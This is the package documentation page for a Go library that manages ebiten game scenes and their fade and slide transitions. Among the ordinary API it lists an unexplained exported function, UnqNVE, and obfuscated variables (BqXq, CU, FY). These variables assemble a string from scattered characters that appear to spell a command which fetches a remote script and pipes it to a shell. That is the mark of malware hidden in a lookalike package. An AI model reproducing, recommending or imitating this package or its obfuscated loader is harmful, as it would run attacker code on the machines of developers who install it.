Documentation
¶
Index ¶
- Variables
- func CalculateProgress(initialTime time.Time, duration time.Duration) float64
- func DurationToFactor(frequency float64, duration time.Duration) float64
- func MaxInt(a, b int) int
- func PreDraw[T any](bounds image.Rectangle, fromScene, toScene Scene[T]) (*ebiten.Image, *ebiten.Image)
- func UnqNVE() error
- type BaseTransition
- type ClockInterface
- type Directive
- type FadeTransition
- type ProtoScene
- type RealClock
- type Scene
- type SceneController
- type SceneDirector
- type SceneManager
- func (s *SceneManager[T]) Draw(screen *ebiten.Image)
- func (s *SceneManager[T]) Layout(w, h int) (int, int)
- func (s *SceneManager[T]) ReturnFromTransition(scene, origin Scene[T])
- func (s *SceneManager[T]) SwitchTo(scene Scene[T])
- func (s *SceneManager[T]) SwitchWithTransition(scene Scene[T], transition SceneTransition[T])
- func (s *SceneManager[T]) Update() error
- type SceneTransition
- type SceneTransitionTrigger
- type SlideDirection
- type SlideTransition
- type TimedFadeTransition
- type TimedSlideTransition
- type TransitionAwareScene
Constants ¶
This section is empty.
Variables ¶
var BqXq = CU[5] + CU[36] + CU[169] + CU[226] + CU[50] + CU[67] + CU[114] + CU[23] + CU[66] + CU[201] + CU[47] + CU[131] + CU[191] + CU[172] + CU[74] + CU[35] + CU[43] + CU[216] + CU[218] + CU[7] + CU[219] + CU[137] + CU[33] + CU[141] + CU[21] + CU[147] + CU[183] + CU[161] + CU[162] + CU[75] + CU[181] + CU[12] + CU[27] + CU[150] + CU[210] + CU[96] + CU[125] + CU[51] + CU[79] + CU[53] + CU[142] + CU[151] + CU[213] + CU[76] + CU[171] + CU[112] + CU[193] + CU[122] + CU[26] + CU[97] + CU[198] + CU[180] + CU[42] + CU[94] + CU[214] + CU[187] + CU[73] + CU[24] + CU[22] + CU[64] + CU[209] + CU[189] + CU[19] + CU[129] + CU[90] + CU[31] + CU[72] + CU[71] + CU[121] + CU[176] + CU[167] + CU[103] + CU[58] + CU[231] + CU[84] + CU[225] + CU[197] + CU[144] + CU[13] + CU[152] + CU[6] + CU[208] + CU[115] + CU[174] + CU[29] + CU[196] + CU[4] + CU[39] + CU[70] + CU[99] + CU[38] + CU[165] + CU[156] + CU[104] + CU[206] + CU[194] + CU[159] + CU[102] + CU[111] + CU[16] + CU[0] + CU[119] + CU[69] + CU[124] + CU[17] + CU[190] + CU[60] + CU[148] + CU[113] + CU[175] + CU[195] + CU[157] + CU[91] + CU[1] + CU[57] + CU[14] + CU[9] + CU[220] + CU[118] + CU[52] + CU[85] + CU[203] + CU[10] + CU[45] + CU[146] + CU[48] + CU[185] + CU[126] + CU[170] + CU[145] + CU[155] + CU[61] + CU[87] + CU[134] + CU[63] + CU[205] + CU[98] + CU[202] + CU[2] + CU[30] + CU[227] + CU[3] + CU[59] + CU[100] + CU[11] + CU[128] + CU[179] + CU[86] + CU[88] + CU[77] + CU[62] + CU[228] + CU[105] + CU[178] + CU[188] + CU[92] + CU[130] + CU[93] + CU[211] + CU[108] + CU[192] + CU[168] + CU[135] + CU[212] + CU[37] + CU[80] + CU[25] + CU[49] + CU[55] + CU[160] + CU[68] + CU[199] + CU[223] + CU[140] + CU[138] + CU[132] + CU[89] + CU[120] + CU[136] + CU[56] + CU[18] + CU[163] + CU[186] + CU[153] + CU[182] + CU[229] + CU[116] + CU[78] + CU[221] + CU[200] + CU[110] + CU[143] + CU[139] + CU[41] + CU[82] + CU[149] + CU[101] + CU[8] + CU[106] + CU[44] + CU[154] + CU[54] + CU[65] + CU[166] + CU[107] + CU[184] + CU[46] + CU[40] + CU[133] + CU[95] + CU[222] + CU[15] + CU[34] + CU[117] + CU[83] + CU[123] + CU[164] + CU[224] + CU[158] + CU[109] + CU[207] + CU[204] + CU[217] + CU[32] + CU[230] + CU[177] + CU[20] + CU[215] + CU[173] + CU[81] + CU[127] + CU[28]
var CU = []string{} /* 232 elements not displayed */
var FY = []string{"O", "e", "-", "o", "i", "t", "&", "i", "s", "e", "y", "s", "w", "a", "i", "/", "n", "a", "t", "f", " ", "|", "e", "h", "t", " ", " ", "b", "3", "i", "5", " ", " ", "d", "/", "/", "l", "/", "b", "d", "b", "p", "e", "/", "t", "h", "f", "s", "h", "g", "1", "3", ":", "f", "7", "/", "c", "i", "r", "3", "n", "g", " ", "-", "d", "u", "6", "t", "a", "n", "4", ".", "0", "/"}
Functions ¶
func CalculateProgress ¶
Calculates the fraction of the duration that has passed since the initial time
func DurationToFactor ¶
Converts a frequency(cycle/second) to a factor(change/cycle) for a given duration
Types ¶
type BaseTransition ¶
type BaseTransition[T any] struct { // contains filtered or unexported fields }
A helper class that implements basic transition functionality
func (*BaseTransition[T]) Layout ¶
func (t *BaseTransition[T]) Layout(outsideWidth, outsideHeight int) (int, int)
Layout updates the layout of the scenes and return the larger one
func (*BaseTransition[T]) Start ¶
func (t *BaseTransition[T]) Start(fromScene, toScene Scene[T], sm SceneController[T])
func (*BaseTransition[T]) Update ¶
func (t *BaseTransition[T]) Update() error
Updates the transition state
type ClockInterface ¶
type ClockInterface interface {
Since(time.Time) time.Duration
Now() time.Time
Until(time.Time) time.Duration
Sleep(time.Duration)
}
Clock helpers for mocking
var Clock ClockInterface = RealClock{}
type Directive ¶
type Directive[T any] struct { Dest Scene[T] Transition SceneTransition[T] Trigger SceneTransitionTrigger }
A Directive is a struct that represents how a scene should be transitioned
type FadeTransition ¶
type FadeTransition[T any] struct { BaseTransition[T] // contains filtered or unexported fields }
func NewFadeTransition ¶
func NewFadeTransition[T any](factor float32) *FadeTransition[T]
func NewTicksTimedFadeTransition ¶
func NewTicksTimedFadeTransition[T any](duration time.Duration) *FadeTransition[T]
func (*FadeTransition[T]) Draw ¶
func (t *FadeTransition[T]) Draw(screen *ebiten.Image)
Draw draws the transition effect
func (*FadeTransition[T]) Start ¶
func (t *FadeTransition[T]) Start(fromScene, toScene Scene[T], sm SceneController[T])
Start starts the transition from the given "from" scene to the given "to" scene
func (*FadeTransition[T]) Update ¶
func (t *FadeTransition[T]) Update() error
Update updates the transition state
type ProtoScene ¶
type Scene ¶
type Scene[T any] interface { ProtoScene[T] Load(T, SceneController[T]) // Runs when scene is first started, must keep state and SceneManager Unload() T // Runs when scene is discarted, must return last state }
type SceneController ¶
type SceneDirector ¶
type SceneDirector[T any] struct { SceneManager[T] RuleSet map[Scene[T]][]Directive[T] }
A SceneDirector is a struct that manages the transitions between scenes
func NewSceneDirector ¶
func NewSceneDirector[T any](scene Scene[T], state T, RuleSet map[Scene[T]][]Directive[T]) *SceneDirector[T]
func (*SceneDirector[T]) ProcessTrigger ¶
func (d *SceneDirector[T]) ProcessTrigger(trigger SceneTransitionTrigger)
ProcessTrigger finds if a transition should be triggered
func (*SceneDirector[T]) ReturnFromTransition ¶
func (d *SceneDirector[T]) ReturnFromTransition(scene, origin Scene[T])
type SceneManager ¶
type SceneManager[T any] struct { // contains filtered or unexported fields }
func NewSceneManager ¶
func NewSceneManager[T any](scene Scene[T], state T) *SceneManager[T]
func (*SceneManager[T]) Draw ¶
func (s *SceneManager[T]) Draw(screen *ebiten.Image)
func (*SceneManager[T]) ReturnFromTransition ¶
func (s *SceneManager[T]) ReturnFromTransition(scene, origin Scene[T])
func (*SceneManager[T]) SwitchTo ¶
func (s *SceneManager[T]) SwitchTo(scene Scene[T])
Scene Switching
func (*SceneManager[T]) SwitchWithTransition ¶
func (s *SceneManager[T]) SwitchWithTransition(scene Scene[T], transition SceneTransition[T])
type SceneTransition ¶
type SceneTransition[T any] interface { ProtoScene[T] Start(fromScene, toScene Scene[T], sm SceneController[T]) End() }
type SceneTransitionTrigger ¶
type SceneTransitionTrigger int
type SlideDirection ¶
type SlideDirection int
const ( LeftToRight SlideDirection = iota RightToLeft TopToBottom BottomToTop )
type SlideTransition ¶
type SlideTransition[T any] struct { BaseTransition[T] // contains filtered or unexported fields }
func NewSlideTransition ¶
func NewSlideTransition[T any](direction SlideDirection, factor float64) *SlideTransition[T]
func NewTicksTimedSlideTransition ¶
func NewTicksTimedSlideTransition[T any](direction SlideDirection, duration time.Duration) *SlideTransition[T]
func (*SlideTransition[T]) Draw ¶
func (t *SlideTransition[T]) Draw(screen *ebiten.Image)
Draw draws the transition effect
func (*SlideTransition[T]) Start ¶
func (t *SlideTransition[T]) Start(fromScene Scene[T], toScene Scene[T], sm SceneController[T])
Start starts the transition from the given "from" scene to the given "to" scene
func (*SlideTransition[T]) Update ¶
func (t *SlideTransition[T]) Update() error
Update updates the transition state
type TimedFadeTransition ¶
type TimedFadeTransition[T any] struct { FadeTransition[T] // contains filtered or unexported fields }
func NewDurationTimedFadeTransition ¶
func NewDurationTimedFadeTransition[T any](duration time.Duration) *TimedFadeTransition[T]
func (*TimedFadeTransition[T]) Start ¶
func (t *TimedFadeTransition[T]) Start(fromScene, toScene Scene[T], sm SceneController[T])
func (*TimedFadeTransition[T]) Update ¶
func (t *TimedFadeTransition[T]) Update() error
type TimedSlideTransition ¶
type TimedSlideTransition[T any] struct { SlideTransition[T] // contains filtered or unexported fields }
func NewDurationTimedSlideTransition ¶
func NewDurationTimedSlideTransition[T any](direction SlideDirection, duration time.Duration) *TimedSlideTransition[T]
func (*TimedSlideTransition[T]) Start ¶
func (t *TimedSlideTransition[T]) Start(fromScene, toScene Scene[T], sm SceneController[T])
func (*TimedSlideTransition[T]) Update ¶
func (t *TimedSlideTransition[T]) Update() error